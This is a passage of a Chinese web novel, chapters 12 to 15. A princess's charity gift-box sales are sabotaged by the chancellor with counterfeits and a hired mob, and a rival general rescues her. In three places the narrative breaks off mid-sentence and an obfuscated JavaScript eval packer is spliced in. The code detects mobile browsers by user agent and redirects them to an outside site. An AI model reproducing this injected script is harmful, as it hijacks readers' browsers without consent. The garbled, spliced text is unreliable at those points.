京城中迅速掀起了抢购赐福礼盒的热潮。 大街小巷,到处都是揣着礼盒往家里跑的百姓,每个人都喜气洋洋,像是自己捡到了什么天大的便宜。 “嗨呀,东街的礼盒全都卖光了!老兄,你这盒是在哪里买到的?” “北街老杨杂货铺里还有两盒,快去!抢不到就没有了!” 诸如此类的对话随处可见。人们行色匆匆,个个都生怕自己兜里的钱花不出去似得,急着冲到柜台前拼命摇晃银票:“还有没有赐福礼盒?给我拿一套!” 眼看着几天过去,白绫的热度丝毫不减,反叫几个联名商户都赚了个盆满钵满,终于又有人坐不住了。 “咱们的长公主,倒真有些本事,竟能将这等小事闹得如此声势浩大。” 富丽堂皇的暖阁内,一人披着大氅,望着窗外雪景,徐徐叹了一声,放下茶杯。 几个言官灰头土脸,蔫蔫地站在一旁,哭丧着脸道:“大人,不是咱们不尽心,可实在没有想到,长公主她油盐不进哪!” 那披着大氅的男子,却赫然是之前在御前哭穷的当朝丞相,张青云。 张丞相抬起眉毛,望着灰蒙蒙的天空,凉凉道:“岂止是油盐不进,反叫她踩着你们出尽了风头,将一条白绫,卖出了十万两白银。” 几人被骂,更加蔫头耷脑,像一群缩着脖子的鹌鹑,不敢再吱声。 张丞相捻着胡须:“若只是做些商贾之事,也便罢了。可她从此事中尝到了甜头,日后岂不更是变本加厉——不仅要坏掉和亲,破坏我朝与北狄的友好关系,恐还要以女子之身干涉朝政,左右国事了。” 他长叹一声:“到那时候,大梁可真真是将暗无天日了。” 几位言官小心翼翼:“可是大人,我们轮番弹劾,好赖话说尽,陛下都不为所动,那长公主更是仗着能够控制陛下,肆无忌惮,如今更是变着法子地捞钱,这……” 张丞相沉吟道:“看来想要劝住长公主,避免劳民伤财,光靠你们摇唇鼓舌,是没有多大用处的了。” “对付非常之人,需行非常之事。”他苍老的目光骤然犀利,“长公主既然继续一意孤行,置国家危难于不顾,那么,老夫便也只好给她一记当头棒喝,叫她回头是岸了。” 几天下来,礼盒的热度在白绫的基础上不断发酵,俨然有成了新爆点的趋势。 京城的赐福礼盒卖的如火如荼,抢购浪潮逐渐漫向四面八方。 沈鸣鹿趁着势头大好,主动去联络了几个之前态度热络的世家子弟,提出进一步的合作请求,却不料接连吃了几个软钉子。 “长公主盛情相邀,本不该辞……” “家中老父亲病重,最近无暇顾及此事……” “咳,长公主也知道,家里名下的产业,其实并不完全受我管辖……” 一开始,沈鸣鹿还以为是这些人没有长线发展的计划,只想捞一笔就跑,也不在意。但是接连被应付敷衍了好几家之后,渐渐便感觉到了一丝不对。 这些京中世家子弟,虽则不一定有什么建树才干,嗅觉却是再灵敏不过。忽然一夜之间,全都改变了口风,必定是察觉到了什么不利的信号。 马车晃晃悠悠地前行,沈鸣鹿正兀自沉思着,忽然光线一亮,是紫苏挑帘子进了来。 “长公主,不好了!” 紫苏神情紧张,也顾不得什么礼数了,三两步登上马车,将一只礼盒放在沈鸣鹿面前,道:“您看看这个。” 沈鸣鹿接过盒子,顿时感觉到一丝不对,单手掂了掂,皱起眉头:“哟,这么快就有仿制品出来了。” 盒子内的摆件,乍一看和她出品的器皿一模一样,但若是拿出来仔细打量,便会发现做工要简单许多,十分粗制滥造。 紫苏苦着脸道:“有人发现买到的货和别人不一样,在店门前闹起来了。有好事者打翻了柜台,才发现三个好的礼盒里面,就有一个是坏的,为这件事,街上已经闹开了。” 沈鸣鹿豁然抬头:“什么,这竟是混进我们铺子里的东西吗?” 她只以为这是什么见钱眼开的小贩私自制作的假冒伪劣产品,却不曾想,这竟然是混在正品当中一起售卖的! 她之前可是找了内务府,仔仔细细交代了定做事宜,和几家合作的老字号也是签好了合同的,怎么质检方面会出这么大的纰漏? 紫苏道:“从外观上看,确实没有太大差别……但是内里却偷工减料的厉害。我刚才去质问内务府的监工,他却只是说也不清楚情况,分明出货的时候还是好好的,我们的人也都签过字了,不知道为什么店里会混入假货。” 沈鸣鹿沉了脸色:“叫负责签字的人来见我,商铺那边,我亲自去一趟。你从府中带护卫来,一起去街上维持秩序,说开放退货换货渠道,只要是买到了假货,想要退款的,或者换货的,我们一概受理,给予赔偿。” 紫苏有些迟疑,小心翼翼道:“……我们自己的铺面便算了,可是几个联名的商铺,已经被闹得提前关了店。掌柜的都在长公主府中等您,说生意受到了影响,店里的其他货物也损失了一大批,想要长公主给点赔偿。” 她低声念出了一个金额,沈鸣鹿冷笑一声:“这是看本宫之前赚了一笔钱,狮子大开口,想要狠狠宰上一刀呢。” 老老实实卖货,怎么比得上敲诈来钱快。那些权贵们只怕是贪心不足,想直接把她踢出局,独吞全部利润。 沈鸣鹿想到此处,微微咬牙:“闹成现在这样的局面,是谁的错还未必见得,且让他们先等着吧!” 她令车夫改道,直奔自家铺面而去。 店门口已经围满了吵吵闹闹的百姓,还有人不明所以,站在远处看热闹,把街道挤得水泄不通。 好在后门还算僻静,沈鸣鹿风风火火登上二楼,见到这样混乱的情形,心脏也不由得猛跳两下,对一旁管事迅速吩咐道:“安抚百姓,告诉大家开放退货渠道,安排他们去长公主府走售后流程,不要挤在这里……” 话没说完,却听到人群中爆发出一声尖利的呐喊:“长公主故意卖假货,莫非就是看我们老百姓好欺负不成!” 她惊愕朝窗外望去,只见一人站在人群中央,手里赫然是两只银盘,高声道:“各位看好了,我左手拿的,是前日在李家杂货铺买的,右手拿的,却是我表弟在长公主名下这家店买的!” 两只银盘对光一照,左边那只银光闪闪,右边的则黯淡无光,谁优谁劣,一目了然。 人群爆发出更加嘈杂的议论声,这人将右手的劣质品往地上一摔,啐道:“亏我前日还觉得长公主仁义机智,敢情那都是拿来捧着达官富商的!对咱们老百姓,就只会这般敷衍了事!” 他气的满脸通红:“如此区别对待,把我们这些底层人不当回事!谁还信她是真心挂念北疆将士!分明是挂羊头卖狗肉,为着自己中饱私囊罢了,我呸!” 人群愈发愤慨,不知是谁喊了一声“砸她的店”,仿佛一团被点燃的炮仗一般,齐刷刷一拥而上,将挡在店门口的木板砸的咚咚作响。 “赔钱!赔钱!” 几名护卫急忙厉声喝止,试图维持秩序,然而却只让群情激奋,打砸得更加厉害。 “长公主仗势欺人!杀人啦!” 护卫不敢再动手,却立刻被挤了出去。几个一楼的伙计见势不妙,飞快跑了。沈鸣鹿身边的管事吓得两腿战战,哆嗦道:“公主,这些暴民马上就要冲进来了,咱们还是赶紧跑吧!” 沈鸣鹿转身瞪着他,喝道:“跑什么!我刚才怎么吩咐你的?出去喊话!” 她见管事腿软的站不住,索性自己推开窗,大声道:“诸位且慢!” 有人看见了她的脸,立即高声道:“长公主就在二楼!” “咱们找她要个说法!” 下面闹哄哄一片,沈鸣鹿提高了音量,试图稳住局面:“大家不要着急,本宫保证,所有假货,全都可以退货退款!” 然而她这点声音,很快就被更大的声浪盖了过去:“砸开这破店!去找长公主!” “大家不要冲动,听我说话——” “长公主,赔钱!” 楼下呐喊的声音更加高亢,门口不断传来咚咚咚的剧烈撞击声,看着眼前这失控的场面,沈鸣鹿脸色微微发白,回头看向管事,却见后者更加欲哭无泪:“长公主,后后后门也被那群暴民围住了,出去肯定要挨打,怎怎怎么办……” 沈鸣鹿的手指攥紧了窗框。 她已经看出,这是有人故意挑拨闹事。然而百姓的情绪已经完全被煽动,只管打砸泄愤,根本听不进任何话了。 偏偏她没有足够的护卫镇住场面,如今,便是她有再多计策,也无处施展! 说到底,她虽然身为长公主,却是空有一个皇亲国戚的名头,没有真正的权势。 皇帝还年幼,毫无主见,也管不住下面的人。朝政都把持在丞相手中,只手遮天……且全都是想要送她去和亲的。 之前营销白绫,他们并没有下死手去阻挠,显然是对她的能力不看好,觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235100|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得一百万两银子,对她是天方夜谭。 可是一旦她展露出了能够完成赌约的可能性,他们便慌了,要千方百计地阻挠她。 沈鸣鹿咬紧牙关。 还是太弱小了。 权势,她需要真正的权势,在这个虎狼环伺的朝廷中,获得有分量的话语权,让人忌惮。 但现在,争权夺利已经来不及。她需要借势。 可如今已然四面楚歌,她又能找谁求援? 禁军?太远。城防营的官兵?里面派别复杂,背后之人既然敢在京城大街上闹事,恐怕早已经打点妥当,未必能及时来帮忙。 那么,谢容与? 沈鸣鹿想到这人,心头顿时一跳。 自上次在宫中结盟以来,谢容与确实没有阻挠过她,而且还帮过她几回。 即便如此,这小子依然不可信任。他主动做的事情也就罢了,若是自己傻乎乎地真的信了,前去找他帮忙——沈鸣鹿确信,谢容与肯定会以此为把柄,狠狠奚落嘲笑自己一顿,并索要不小的报偿! 但是……但是,现如今,恐怕也只有他有能力来帮忙了! 一时间心乱如麻,侍女们也有些惴惴不安,管事脸色灰白,看起来随时都能吓得昏厥过去。 沈鸣鹿抬头,见到这人心惶惶的情形,立即强迫自己定下心神,清清嗓子,凛然道:“不必惊惶,既然知道本宫在这里,城防军和禁卫军必定很快就到!若是本宫出了事,几个头都不够他们砍的!” 她端着一贯的傲然神态,似乎毫不畏惧。下人们见她依然一副尽在掌握、风轻云淡的样子,这才安定了些,颤声问道:“那,那公主,咱们现在要做什么?” 只听沈鸣鹿沉默片刻,似乎下定了什么决心,毅然道:“去找谢将军。” 下人怀疑自己耳朵听岔了:“什么?” 沈鸣鹿不耐烦:“冲出去,去将军府,找谢容与!” 说完,又看向瑟瑟发抖的管事:“若是不敢出去,那便到露台上一起喊话,实在不行,撒点钱下去,叫这些人转移注意力,别只顾着冲我们的店子!” 听见她有条不紊的几道命令,惶惶不安、不知所措的几人顿时有了主心骨,连腿软的管事也扶着墙颤巍巍地站了起来,咽了口口水,对小伙计道:“去库房找个铜锣来,快!” 看他们紧锣密鼓地忙碌起来,沈鸣鹿心中暗暗松了口气,几乎抠进窗框的手指这才松开了些。 低头一看,原本染着蔻丹的指甲上赫然多了几道划痕,颜色不复往日的鲜红明艳。 但现在不是操心这个的时候。 楼下依然在吵吵嚷嚷,撞门的动静一声响过一声,犹如雷霆重锤,重重敲在她的心上。 伙计灰头土脸,终于翻出了一只铜锣,管事急忙接过手里,当当敲着,便朝露台走去。 忽然只听轰隆一声,一人高声喜道:“门砸开了!” “再用点力,马上就能把这板子砸烂了!” 沈鸣鹿的心一瞬间提到了嗓子眼。 一串急促的马蹄声骤然而至,骏马嘶鸣的声音穿过重重声浪,一道怒声呼喝劈开人群:“谁敢冒犯大梁长公主!” 这一声石破天惊,顿时唬住了躁动的人群。百姓们惊愕朝后看去,只见一群骑兵齐刷刷亮出刀剑,跟着呼喝: “无关人等,立即退后!” “闹事者,格杀勿论!” 高头大马的骑兵一来,白花花的大刀一亮,暴动的人群顿时偃旗息鼓,不敢再像之前那样嚣张。 侍女和伙计惊魂未定,吓得瘫软下去,连连拍着心口,后怕道:“还好,还好,城防军总算来了!” 沈鸣鹿却看出,那些官兵身上穿的衣服,并非是城防营中常见的制式。 她撩开帘子,走上露台,将吓懵的管事拨到一旁,垂眸朝下方望去。 只见为首的青色骏马身上,赫然坐着一名身材高大、面容冷峻的男子。他一马当先,拦在店门前,将那些拥挤吵闹的百姓驱赶后退,而后抬头,朝她望来。 四目相对。 是谢容与。 沈鸣鹿忽然有些恍惚。 那几个下人,腿脚有这么快吗?她前脚刚吩咐完,他们就跑到了三条街外的将军府? 回头一看,几个下人灰头土脸,根本没跑出去。 沈鸣鹿回过身来,陷入沉思——所以,这位谢将军是怎么过来的? 总不能是这小子一直在关注她的行踪,一听说她出事,就快马加鞭,急忙赶过来了吧? 13. 第 13 章 哈哈,别开玩笑了。 沈鸣鹿心中哂笑一声。 拉倒吧,谢容与还能多在意她不成?必定是别有所图。 但没有办法,人为刀俎我为鱼肉,这次,她是注定要欠下一次大人情了。 楼下,有了谢容与和侍卫们的加入,混乱的形势迅速得到了控制。 热血上头的百姓们见到这群杀神,犹如当头被泼了一盆冷水,这才开始害怕了,颤巍巍地哭道:“将军,俺们可什么也没干,只是想要讨回被骗走的钱哪!” “对啊,俺们只是想找长公主要个说法,才没有闹事!” 谢容与收回视线,居高临下地看着这群痛哭流涕的人,冷声道:“围堵街道,冲撞商铺,对长公主不敬,还好意思说不是闹事!” 他冷酷无情地下令:“通通抓起来,扔给刑部处置!” “是!” 他带来的侍卫,都是军中跟随他多年的老兵,行动极其果决。闹事的百姓们顿时吓得肝胆俱裂,一时之间,楼下的求饶和哭嚎声不绝于耳。 沈鸣鹿施施然提着裙摆下楼,道:“慢着!” 她一出现,闹哄哄的场面便是一静,紧接着便又沸腾起来: “长公主!” “长公主饶命!” 沈鸣鹿穿过哭叫的人群,她径直走到谢容与马前,端正施礼:“多谢谢大将军仗义执言,只是这些人并非有意闹事,不过想要退换货物、又有些失了秩序罢了,不必将他们全数押送刑部。” 谢容与翻身下马,朝她略略抱拳,言简意赅道:“公主不必客气,下官路过此地,见到京城中竟有这等混乱场面,决计不能置之不理。这群刁民,且不论初衷为何,既然冲撞了长公主,便该吃些教训才对。” 沈鸣鹿含笑道:“将军思虑周全,本宫感念在心,只是还有一不情之请。” 谢容与道:“公主请讲。” 沈鸣鹿道:“依本宫所见,这些人的无礼行径,并非出自本意,而是有人带头挑唆。” 她抬起头,缓缓环视一圈人群,嘴角微微扬起,意味深长道:“因此,只要抓住带头闹事、煽风点火之人,叫他们狠狠吃些苦头,想必京中便能恢复太平了。” 百姓们愣愣听着,却已经有些机灵的反应过来,立即道:“没错没错,老子没想闹事,都是……都是那张三忽悠老子来的!” 其余人恍然大悟,七嘴八舌道:“对对,都怪那个砸银盘的人!是他叫我们冲撞店铺的!” 谢容与也不自觉地微微提起嘴角:“公主说得有理,若是能找出带头闹事之人,那么其余人便暂且放过吧。” 这话一出,百姓们顿时如蒙大赦!他们立即伸长脖子,到处寻觅当时带头的几人。 那几个带头起哄闹事的人原本已经以手遮面,偷偷摸摸,想要趁乱溜走,结果这下直接成了全场焦点,想躲也不可能了。 “在这!在这!” 他们迅速被推出人群,哎哟一声,跌倒在地,直呼冤枉。 公主府出来的护卫们重振精神,将几人按住,怒道:“有什么冤枉的,就是你们带头挑唆闹事!” 几人嘴硬道:“我们也不过是一些普通百姓,买到假货,想讨个公道不行吗?” 谢容与将刀一亮,吓得几人一缩脖子。他似笑非笑:“既然有理,那便去大理寺说道说道吧。来人,将他们全部带走!” 闹事的几人眼看大势已去,又怕自己这一走,真会脑袋落地,吓得肝胆俱裂,立即跪地痛哭道:“不,不要抓我!我也不想冒犯长公主,都是张府的管事叫我们干的!” “对对,他给了我们三两银子呢!钱,钱都在这里!” 哆嗦的手从兜里掏出碎银:“你们要抓,就去抓他!” 这话一出,犹如水入油锅,人群哗然! “张府,那不是张丞相……” “是丞相派人到长公主这里闹事?” “那这些假货,岂不也是……” 谢容与微微眯眼,也不管身后议论,不置可否:“你们在这信口开河,谁知道是真是假!” 几人如丧考妣,生怕他不相信,急道:“千真万确,就连这批假货也是他们安排好的,说,说长公主带头经商,是歪风邪气,必须吃个教训!” “将军如果不信,尽管去查!” 百姓们听得瞠目结舌,沈鸣鹿心中冷笑,心道果然是这帮老登在背后搞鬼! 只是,现在还不是和他们正面对上的时候。若是鱼死网破,可就碍着她和气生财了。 她忽然佯装怒道:“放肆!张丞相为大梁鞠躬尽瘁,岂是那种心胸狭隘、手段下作之辈?你们为了逃脱责罚,竟在这乱泼脏水,真是好大胆子!” 谢容与顺势接话:“正是,张丞相岂能叫你们这几个小人诋毁?不管有什么话,去刑部再说吧!带走!” 几个人猝不及防,直接被破布塞住嘴,捆住手脚,呜呜叫着被拖走了。 眼看着谢容与一队人马浩浩荡荡离开,沈鸣鹿这才转过身来,对目瞪口呆的百姓从容道:“本宫之前说的话依然有效,若是有人买到假货,想要退换的,请三日后拿礼盒在此排队,我们会给予双倍赔偿。” 百姓们没想到这位声名狼藉的败家公主竟然如此亲和,而且刚刚才受她恩惠逃过一劫,一时间都有些不好意思,摸着头憨憨道:“长公主,这,这俺们哪好意思……” “就是,刚才那几个鳖孙也说了,明明是张府管事干的,哪好意思要公主您来赔钱呢。” 沈鸣鹿和颜悦色道:“应该的,是我御下不严,才叫大家受了委屈。” 见百姓们还是畏缩不前,她便又道:“本宫卖货筹钱,是为了支援北疆;而支援北疆,是为了保我大梁民生。若是因筹钱而让我大梁百姓吃苦受罪,那岂不是本末倒置?” “所以,本宫保证,一定会让大家的每一分银子都花的值当、买的安心。” “还望各位父老乡亲,不计前嫌,继续信任于我。” 百姓们听了她这番发言,顿时热泪盈眶。 天老爷,这是多么谦逊、多么和善的公主啊! 他们之前怎么会以为长公主是那种仗势欺人、挥霍无度的败家公主呢?真是谣言害人! 百姓们感动道:“一定!俺们必定会支持长公主的生意!” “有这样的长公主,实乃大梁之福啊!” 沈鸣鹿在称颂声中功成身退。 很好,不仅解决了这一次的危机,成功扭转舆论,还反而收获了一批死忠粉丝,堪称完美公关,真不愧是她! 沈鸣鹿心下盘算着,接下来,虽则不能直接对张丞相出手,只要利用好那几个闹事的家伙,便能叫那老东西狠狠丢一回脸,起码能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235101|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安生一段时日了。 心中微微有些得意,然而,这份好心情在登上马车之时,倏忽间又消散了个干净。 车夫小心问道:“长公主,咱们现在要去哪?” 沈鸣鹿沉默两秒,道:“去一趟刑部吧。” 然后,她的嘴角又垮了下去。 是的,还有一个人没有解决。 立场鲜明的敌人并不可怕,最难办的,是这个在盟友和对手之间游走、态度暧昧不清的谢容与。 沈鸣鹿一向自诩最了解这个死对头,但这会一时之间,竟不知道该拿他怎么办。 日暮西沉,刑部的建筑淹没在夜色之中,仿佛鬼气森森。 马车在刑部侧门处停下,沈鸣鹿被刑部的官员迎进大门,恰好与谢容与的人马撞了个正着。 “长公主。”谢容与朝她行礼。 沈鸣鹿道:“谢将军不必多礼,今日还要多亏将军为本宫解围,否则后果难料。” “能为长公主效劳,臣荣幸之至。” “听说那几个闹事的人,已经押进大牢了?” “是,已交给专人审问了,很快就能查出真相。” 一番寒暄后,沈鸣鹿对几名官员道:“本宫与将军说几句话,你们不必陪了。” 等闲杂人等都退下了,她这才没好气道:“现在没有其他人在,我俩就别继续打官腔了。” 谢容与道:“一切都听公主吩咐。” 见他依然端着样子,沈鸣鹿瞪他一眼,故意阴阳怪气地激他:“谢大将军平日里可不是多管闲事的人,怎么今日忽然做起好事来了?” 谢容与揣着袖子,从从容容道:“公主误会了,臣向来日行一善。” “少和本宫废话。”沈鸣鹿嗤之以鼻。 谢容与从善如流,改口道:“长公主冰雪聪明,臣的确有一事相求。” 沈鸣鹿心道果然,这人岂是那种无私奉献的类型? 她耐住性子,道:“这回算本宫欠你一次,你有什么要求,尽管提吧。” 谢容与道:“臣想给公主送两名护卫。” 他拍了拍手,门后走出来两人,个个体型魁梧,人高马大,朝沈鸣鹿单膝跪地:“见过长公主。” 沈鸣鹿:? 谢容与继续道:“这二人武功高强,身经百战,还请公主出行时将他们带在身边,以免再度发生意外。” 沈鸣鹿看看地上的护卫,又看看面色如常的谢容与,几乎怀疑自己是听错了:“哈?” 他不是有事相求吗,怎么倒反过来给自己送护卫? 还是说,他是想借这二人,监视自己? 沈鸣鹿盯着那两人,他们身材魁梧,一身肃杀之气,看着就不是等闲之辈。只是监视?大材小用了吧。 她心中犹疑,皱眉眯眼,觑着谢容与神情。半晌,才凑近过去,小声骂道:“都什么时候了,别跟本宫耍心眼子!最后问你一遍,你到底有什么打算!” 谢容与微微挑眉,也俯身凑近,与她耳语:“臣说的话,句句属实,怎么敢戏弄公主。” 沈鸣鹿满脸不信:“那你怎么忽然给本宫送护卫?” 谢容与看着她熠熠生辉的眼睛,低声答道:“长公主如今掌着北疆的钱袋子,臣怎能不看紧一点?” “日后还要多多叨扰。”他微微一笑,“还请长公主见谅。” 14. 第 14 章 沈鸣鹿挑起一边眉梢,好心提醒道:“谢容与,你打赌输了,可是要向本宫当众磕头的,没忘吧?” “当然不敢忘。”谢容与微笑,“只是臣怕届时人财两空——军饷没有,公主也折在半路,那可就不美了。” 沈鸣鹿气得给了他一肘子:“谁叫你在这乌鸦嘴!” 谢容与面不改色:“时间已经过去了半月,长公主凑到的银两不过十之一二,惹来的麻烦却越来越多,可见不是臣危言耸听。” “那就叫你这俩狗腿子擦亮眼睛瞧好了。”沈鸣鹿瞥了一旁跪着的护卫一眼,又气冲冲地瞪着他,抱臂傲然道,“本宫既能赚足银两,也可保自身无虞!” 谢容与看起来并不十分相信:“那臣拭目以待。” 避在一旁的刑部官员听见他俩照例是吵吵嚷嚷,又见沈鸣鹿怒气冲冲地走出来,心道这两人果然还是不对付。 他们对视一眼,松了口气。 之前还有人揣测谢将军已经和长公主站在同一战线,现在看来,真是无稽之谈! 他们目送沈鸣鹿离开,窃窃私语:“就他俩那脾气,天生的一对冤家,绝不可能握手言和。” “可不是吗,从小打到大。要不是一男一女,怕不是现在还在掰腕子呢。” “哎,现在他俩不还是在掰腕子吗。” 不管是在朝堂上,还是在私底下,那都是较劲较的人尽皆知,两个人非要争出个胜负不可。 可见今日这一回,谢将军绝不是有意要襄助长公主,恐怕还是为了武将和文官之间的那些龃龉,借长公主一事,顺手为之罢了。 他们摇头唏嘘一阵,将此事抛到了脑后。 浑然没注意,沈鸣鹿的马车旁边,忽然多出了两个谢家的护卫。 次日一早,闹事者的供词就递给了大理寺。 经过一夜的严刑逼供,刑部确认张府管家确实是投放假货、以及唆使地痞闹事砸店幕后主使。 然而就在大理寺派人去丞相府拿人的时候,却发现这位管家已经服药自尽。 张丞相满脸疲态,叹道:“我这位管家一向忠心为主,只是最近怕是听了些市井传闻,担心于我不利,这才做出傻事。” 他深深一揖:“还请诸位看在老夫情面上,容我将他好生安葬了吧。” 人都死了,大理寺当然也不好再说什么,只能与他应付两句,无功而返。 然而即便张丞相及时割席,断尾求生,明眼人却都看得出来——若是没有张丞相的授意,管家哪敢擅作主张? 事情草草结束,虽然张丞相成功逃过一劫,坊间还是议论纷纷,对他生出诸多非议。 “真是老奸巨猾。” “他肯定是知道消息败露,提前处死了自己的管家,好撇清关系!” “可怜长公主,白白受了这一场委屈,又能往哪里说理去!” 自从昨天闹过一场之后,长公主已经下令下架了所有祈福礼盒,声称“为彻查假货,杜绝后患,即日起停业自查”,并承诺将对买到假货的顾客给予双倍赔偿。 而这场风波,分明不是长公主的错! 百姓们不论怎么看,都觉得长公主实在是太惨了,这根本是无妄之灾! 京中百姓虽然不懂朝堂争斗,可这种遭到陷害、却求助无门,只能打落牙齿和血吞的感觉,他们可太熟悉了! 这不就是他们这些无权无势的普通人的日常吗! 他们纷纷感同身受,禁不住为沈鸣鹿叫屈。 尤其是昨天参与闹事、又被沈鸣鹿放了一马的幸存者,更是尤其愤愤不平。 “昨天那几个泼皮揭发张丞相,长公主可还替那老头说话呢!” “长公主明明也是一心为国,凭什么这帮朝臣非要和她过不去!” 转眼之间,昔日那位“骄奢淫逸”、“自私自利”的长公主,摇身一变,竟成了“忍辱负重”、“以德报怨”的大苦主,彻彻底底站在了道德制高点上,口碑彻底翻身。 而相对应的,张丞相则有了晚节不保的趋势,风评岌岌可危。 他只能做出更加谦卑的姿态,向皇上递了请罪折子,自责驭下无方,祈求告老还乡。 大家骂归骂,但若真因这点小事罢免当朝丞相,那就显得长公主太咄咄逼人了。 小皇帝自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235102|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不能同意,批了不许,又说了一些勉励的客套话,要他继续留在朝中效力。 这件事的风波暂时告一段落,但张丞相起先信誓旦旦,最后却落得这样的结果,害他在外面夹起尾巴装孙子,回了家后,直把他怄得几天没睡好。 夫人见他眼下青黑,衬得面容愈发瘦削阴鸷,禁不住担忧道:“老爷,莫要为一点小事气坏了身子。就算你想对付长公主,那也得从长计议,心急不得。” 她端来一杯安神茶,张丞相接过喝了一口,神色终于有所松缓,眉头却还是拧成了一个疙瘩:“是我小看了长公主的运气。” 他缓缓吐出一口浊气,手掌却握成拳头,狠狠敲了敲黄花梨木书案:“本想着那黄毛丫头不经事,只要吓一吓她,便能叫她迷途知返。却不料却还很有几个看不清局势的傻子,坏了老夫的大计!” 夫人柔声劝慰:“老爷,智者千虑,也有一失,更何况,这次分明是管家太粗心了些。” 张丞相扶着额头,叹道:“唉,只怕有了这一遭后,长公主更是大大涨了气焰。外面的百姓也都是非不分,拿了她的钱,就净为她说好话。” 夫人也坐下来,一边轻轻帮他按摩肩膀,一边道:“老爷,俗话都说:骄兵必败。那长公主虽然看似赢了您一回,但她继续这样嚣张下去,迟早是要翻个大跟头的。” 张丞相沉吟不语,夫人继续道:“现在外面百姓都对她夸赞有加,但人言可畏,如今烈火烹油,稍有不慎,就会引火烧身。” 张丞相的眉头终于舒展开来:“正是,还是夫人有远见。如今她如日中天,更加无所畏惧,怕是什么事情都做得出来,早晚要酿成大祸!” “到那个时候,看还有谁会信她!” 见他气顺了,夫人也展露笑颜:“可不是。听说她现在又要筹办什么‘感恩特卖会’,又要弄出好大阵仗。老爷呀,您只管看着,她的声势越大,就越要吃亏的。” 张丞相哼了一声:“这么快就又办新的活动?她还真是一点都等不得。” 转念一想,“也对,三月之期,眼看着就只剩两个月了,老夫倒要看看,她还能如何折腾!” 15. 第 15 章 沈鸣鹿的确在筹备一场新的促销活动。 在这场轰轰烈烈的假货事件中,看似张丞相吃瘪,沈鸣鹿赢得了大众赞誉。然而,她为了弥补损失和名誉所给出的双倍赔偿,可是实打实的! 老百姓们虽然愿意为她说话,但是该占的便宜也绝不会手软。短短几天时间内,钱就如流水一般花了出去。 张丞相干净利落地解决了管家,这一招,着实是让沈鸣鹿吃了一个哑巴亏,就算想找人赔钱,也无处说理。 ——毕竟明面上的罪魁祸首已经命丧黄泉,难不成谁还能追去地府打官司? 只能咬咬牙自己扛。 三月之期,眼看着就要过了三分之一,账面上的资金数额不增反减,就连紫苏也禁不住着急起来。 “公主,咱们这几天只有出项,没有进项。”她将账册放在书案上,一向严谨的脸上满是愁绪,“可距离百万之约,还差着八十多万两银子!公主,您可得想想办法呀!” “不要着急,这不是正在准备么?”沈鸣鹿瞥了门外一眼,将算盘一放,施施然笑道,“咱们得摇钱树来了,走,出去会一会他们。” 紫苏不明所以,却还是随着她出了书房。 只见大厅里等候着的,却正是那几位之前想要机会,找沈鸣鹿闹上一场的掌柜们。 那日他们瞧见风向不对,纷纷偃旗息鼓,脚底抹油,不等沈鸣鹿回府便匆匆告辞,一连几日杳无音信。今日却仿佛川剧变脸一般,反倒一个个堆满笑容,前来向沈鸣鹿赔礼道歉。 “哎呀,长公主,之前是小老儿糊涂,看走了眼……” “对对,这事都怪我们看管不力,没教训好店里的伙计,才叫那些小人混了假货进来。” 沈鸣鹿在主位上坐下,啜着茶水,慢悠悠道:“此事都是本宫疏忽大意,哪敢再给诸位掌柜添麻烦。” 掌柜们嘴巴一张,眼看着就又要倒出一箩筐的好话。沈鸣鹿微微抬手,止住了他们的话头,对紫苏道:“把那几个人拖上来。” 电光火石只见,紫苏倏地明白了她的计划,顿时嘴角含笑,垂首领命而去:“是。” 掌柜们不知道她葫芦里卖的什么药,面面相觑,却也只能老实等着。 不多时,几个满脸青紫的人就被五花大绑地拖了过来,个个死狗一般,看得人触目惊心。 沈鸣鹿吹开杯面上的茶叶,和颜悦色地对掌柜们解释道:“本宫这几天亲自清理公主府,还真清出了几个卖主求荣、吃里扒外的东西,拿着公主府的俸禄,却还替外人做事,两头都吃。“ 她摇摇头:“可见园子大了,总会生出几棵杂草,不拔不行。” 她这招明摆着是杀鸡儆猴,敲山震虎,掌柜们个个心里鬼精,已全然明白了她的言下之意。 大冷天里,他们却禁不住额前热汗滚滚,连连擦汗道:“长公主说得是,说得是。我们回去也得好好整顿店铺,把那些吃里扒外的家伙通通打出去!” 他们像是想到了什么可怕的后果,这些来时还表现得游刃有余的掌柜们,最后一个个夹着尾巴,满头大汗地匆匆告辞。 不多时,站在他们背后的世家权贵们,便赔着笑脸,端着更多的礼物,过来敲了公主府大门。 “哎呀,长公主,底下人不懂规矩,您大人有大量,可千万别和他们一般见识!” 